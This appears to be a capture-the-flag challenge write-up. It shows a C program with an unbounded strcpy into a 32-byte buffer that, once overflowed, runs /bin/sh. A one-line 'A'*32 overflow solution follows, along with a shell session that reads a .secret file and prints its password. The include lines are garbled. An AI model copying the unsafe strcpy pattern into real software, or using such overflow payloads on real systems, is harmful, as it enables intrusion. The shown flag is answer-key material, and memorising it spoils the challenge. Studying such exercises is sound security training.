Source : #include #include void func(char *str) { char buffer[32]; strcpy (buffer, str); } int main (int argc, char **argv) { volatile int i = 0; if (argc > 1) func (argv[1]); if (i) system ("/bin/sh"); return EXIT_SUCCESS; } Solution : ./vulnerable `python -c 'print "A"*32'` sh-4.2$ cat ./.secret Kahwaujoo1